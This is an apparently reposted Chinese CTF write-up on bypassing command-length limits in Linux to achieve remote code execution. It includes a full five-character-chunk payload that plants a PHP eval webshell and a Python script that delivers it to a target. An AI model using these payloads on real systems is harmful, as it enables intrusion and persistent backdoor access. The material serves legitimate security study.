轉載自:https://arsenetang.github.io/2021/07/20/RCE篇之命令執行中的各種繞過/
繞過長度限制
linux 中的>符號和>>符號
(1)通過>來創建文件
(2)通過>將命令結果存入文件中
使用>命令會將原有文件內容覆蓋,如果是存入不存在的文件名,那么就會新建該文件再存入

linux中命令換行
在Linux中,當我們執行文件中的命令的時候,我們通過在沒有寫完的命令后面加\,可以將一條命令寫在多行
比如一條命令cat flag可以如下表示
既然可以這樣那我們是不是可以在某些限制長度的情況下執行命令,將命令一條一條輸入一個文本中再執行,嘗試一下
root@kali:~# echo "ca\\">cmd
root@kali:~# echo "t\\">>cmd
root@kali:~# echo " fl\\">>cmd
root@kali:~# echo "ag">>cmd
root@kali:~# cat cmd
ca\
t\
fl\
ag
root@kali:~# sh cmd
this is your flag
用這種方法可以繞過一些長度限制讀文件內容
利用ls -t和>以及換行符繞過長度限制執行命令(文件構造繞過)
在linux中,我們使用ls -t命令后,可以將文件名按照時間順序排列出來(后創建的排在前面)
root@kali:~/example# touch a root@kali:~/example# touch b root@kali:~/example# touch c root@kali:~/example# ls -t c b a
我們來看看ls -t>ghtwf01有什么效果(開始不存在ghtwf01這個文件)
root@kali:~/example# ls -t>ghtwf01
root@kali:~/example# cat ghtwf01
ghtwf01
c
b
a
這條命令先執行了創建ghtwf01文件然后將ls -t的執行結果寫入ghtwf01文件
我們試試用這些方法來執行命令cat flag
root@kali:~/example# > "ag"
root@kali:~/example# > "fl\\"
root@kali:~/example# > "t \\"
root@kali:~/example# > "ca\\"
root@kali:~/example# ls -t
'ca\' 't \' 'fl\' ag flag
root@kali:~/example# ls -t > a
root@kali:~/example# sh a
a: 1: a: not found
this is your flag
a: 6: flag: not found
讀取到了flag內容為this is your flag,無論這個文件里面有不有其它內容都能執行
總而言之文件構造繞過就是如下知識:
linux下可以用 1>a創建文件名為a的空文件
ls -t>test則會將目錄按時間排序后寫進test文件中 sh命令可以從一個文件中讀取命令來執行
反彈shell命令比較長就可以用這種方式去繞過長度限制
如果服務器能連外網還可以使用命令wget 網址 -O shell.php去執行我們自己vps上面的木馬文件
1、在linux
中,星號*
可以作為通配符使用,輸入*
后,linux
會將該目錄下第一個列出的文件名作為命令,剩下的的文件名當作參數
像上面這個例子,執行*
就相當於執行ls t
,將ls
作為命令,t
作為參數;
有的時候當一個目錄下有很多個文件的時候,可以在*
后面加上字母作為限制,就可以限定為必須要帶有該字母的文件才能被當作命令和參數,它依舊是按照字母順序,第一個為命令,后面的為參數,比如說下面這個例子,雖然說里面有很多文件,但我們用了*s
,相當於就是帶有s
的第一個文件被作為了命令,后面帶有s
的文件作為了參數,所以說我們執行*s
,相當於執行ls s
2、linux
中還有一個倒置命令rev
,它可以將文件中的內容倒置,比如說下面這個例子,a
文件中的內容本來是1234
,然后我們用了rev
倒置命令,就輸出了4321
,我們還可以將這個輸出結果寫入文件b
中
當然,我們也可以按照前面的方法,將rev
當作文件名,然后利用*v
來執行它,只不過文件名也要為v
3、linux
中還有一個命令dir
,這個命令和ls
基本上是一樣的,只不過用ls
寫入文件中時,每個文件名都是單獨一行,它會自動換行,這會影響我們后面命令的執行,但dir
就會全部寫入一行中,並且會自動加空格,所以說我們就用dir
代替ls
實例
<?php if(md5(md5($_GET["pass"]))=="42dc38109914179199efc5c18d47ee68") { show_source("shell.php"); echo "<br><br>年輕人,這個后門你把握不住,收手吧<br><br>"; echo "<br>".$_SERVER['HTTP_USER_AGENT']; $you_file = '/var/www/html/wllm/'.md5("wllm" . $_SERVER['HTTP_USER_AGENT']); mkdir($you_file); chdir($you_file); if (isset($_GET['big_hacker_LTLT']) && strlen($_GET['big_hacker_LTLT']) <= 5) { echo exec($_GET['big_hacker_LTLT']); } else if (isset($_GET['reset'])) { @exec('/bin/rm -rf ' . $you_file); } } ?>
思路分析
從代碼中可知,這里有exec
函數,是可以執行命令的,但由於有長度限制,所以說我們不能執行完整命令,只能試圖利用linux
下命令可以拆分的特點,將寫入一句話木馬的命令,拆分開來,作為文件名的形式先寫進去,然后再寫一個文件v
,里面的內容是ls -th >f
,然
后通過執行這個文件v
,讓前面的文件名按照時間順序拼接起來,並寫入到文件f
中,那文件f
中就是我們想要的寫入一句話木馬的命令了,最后執行這個文件f
,就將木馬成功寫入進去了
具體過程
1.我們首先來寫寫入一句話木馬的命令,這里要注意的是,由於里面有< ?
這些字符,所以說我們先將其base64
編碼后再寫入,具體:
一句話:<?php eval($_POST[1]); base編碼后:PD9waHAgZXZhbCgkX1BPU1RbMV0pOw== 寫入的命令:echo${IFS}PD9waHAgZXZhbCgkX1BPU1RbMV0pOw==|base64 -d>1.php 這里的空格要用${IFS}來代替,避免一句話中存在兩個空格
驗證一下,發現沒有問題
2、然后我們就要來拼接出命令ls -th >f
了,我認為這兒是最復雜的,這里先解釋一下為啥要拼接出這條命令,因為它ls
默認排列文件的順序是按照字母順序的,如果把這個順序寫入文件中那肯定是雜亂無章的,也肯定不是我們想要的,所以說我們得想辦法控制它的順序,而唯一能控制的就是輸入命令的時間先后順序了,我們把想要放在后面的先輸入,想要放在前面的后輸入,然后利用ls -th
一排,不就是我們想要的順序了嗎,這里我用kali
做個演示,命令就是echo${IFS}PD9waHAgZXZhbCgkX1BPU1RbMV0pOw==|base64 -d>1.php
我們看到核心代碼中它每次輸入的命令不能超過五字符,那我就把這命令划分一下,五個字符一句,所有的符號前面都要加轉義符\
:
>e\\ >ch\\ >o\\ >\$\\ >{\\ >IF\\ >S}\\ >PD\\ >9w\\ >a\\ >HA\\ >gZ\\ >XZ\\ >hb\\ >Cg\\ >kX\\ >1B\\ >PU\\ >1R\\ >bM\\ >V0\\ >pO\\ >w=\\ >\=\\ >\|\\ >ba\\ >se\\ >64\\ >\ \\ >-d\\ >\>\\ >1.\\ >p\\ >hp
但由於前面講的,我們得按照時間得先后順序,給它倒過來:
>hp >p\\ >1.\\ >\>\\ >-d\\ >\ \\ >64\\ >se\\ >ba\\ >\|\\ >\=\\ >w=\\ >pO\\ >V0\\ >bM\\ >1R\\ >PU\\ >1B\\ >kX\\ >Cg\\ >hb\\ >XZ\\ >gZ\\ >HA\\ >a\\ >9w\\ >PD\\ >S}\\ >IF\\ >{\\ >\$\\ >o\\ >ch\\ >e\\
然后我們在kali
中做測試,一個一個按順序把它敲進去,太艱難了
可以看到已經成功了,它已經按照時間順序排序好了,那我們就把它執行的結果寫入文件f
中,然后利用sh
來執行f
,看能不能成功生成1.php
3、拼接出命令ls -th >f
,害本來第二步我就想講這個的,結果寫着寫着就寫偏了,前面我們的ls -t >f
這命令是直接寫的,實際上題目中我們是肯定不可能直接寫的,同樣需要把它寫成文件名拼接起來寫入文件中,然后執行它,這就需要我們前面鋪墊的知識了,這里我先把構造結果寫出來,然后再分析,如果哪一步沒看懂可以去上面看對應的鋪墊知識哦:
>dir >f\> >ht- >sl *>v (等同於命令:dir "f>" "ht‐" "sl" > v ) >rev *v>0 前面的*v等同於命令rev v,相當於將v中的文件內容倒了回來,變回:ls -th >f 然后將倒轉后的內容寫入文件0中,文件0中的內容為:ls -th >f
首先是用dir
代替了ls
,原因上面也講了,然后我們這里用-th
代替了-t
是因為字母順序的問題,因為我們這里是選擇先倒着寫然后再用rev
命令把它正過來,字母h
順序正好在字母s
和f
之間,所以說就可以,如果只有t
的話它就會排在s
的后面,順序就亂了
4、前兩步構造出來之后其實我們的核心步驟就已經完成了,第二步我們構造出來要執行的命令,第三步將要執行的命令寫入到一個文件中,然后就是執行命令的過程了,先執行ls -th >f
也就是sh 0
,再執行文件f
也就是sh f
即可成功寫入一句話,綜合一下payload就是:
>dir >f\> >ht- >sl *>v >rev *v>0 >hp >p\\ >1.\\ >\>\\ >-d\\ >\ \\ >64\\ >se\\ >ba\\ >\|\\ >\=\\ >w=\\ >pO\\ >V0\\ >bM\\ >1R\\ >PU\\ >1B\\ >kX\\ >Cg\\ >hb\\ >XZ\\ >gZ\\ >HA\\ >a\\ >9w\\ >PD\\ >S}\\ >IF\\ >{\\ >\$\\ >o\\ >ch\\ >e\\ sh 0 sh f
5、Python腳本
前面也看到了,我們要是純靠手把這些payload全部輸進去還是有些麻煩的,所以說我們還是寫個python腳本來代替我們發起這些請求:
#!/usr/bin/python # -*- coding: UTF-8 -*- import requests headers = {'User-Agent' : 'ccc'} url = "http://xx.xxx.xx.xxx:10001/shell.php?pass=LTLT_666&big_hacker_LTLT={0}" print("[+]start attack!!!") with open("payload.txt","r") as f: for i in f: print("[*]" + url.format(i.strip())) requests.get(url.format(i.strip()),headers=headers)
這里面我加了個UA頭是因為核心代碼中說了目錄名就是/var/www/html/wllm/'.md5("wllm" . $_SERVER['HTTP_USER_AGENT'])
那相當於我這個目錄名就是/var/www/html/md5(wllmccc)
,也就是/var/www/html/wllm/09dfd2544882e2d4cfc851dcb1e78c4f
,payload.txt中的內容就是上面那段payload,接下來開始跑腳本:
跑完腳本去看這個文件是否已經生成,發現已經生成,那就大功告成了,執行命令和用蟻劍連接都是可以的哦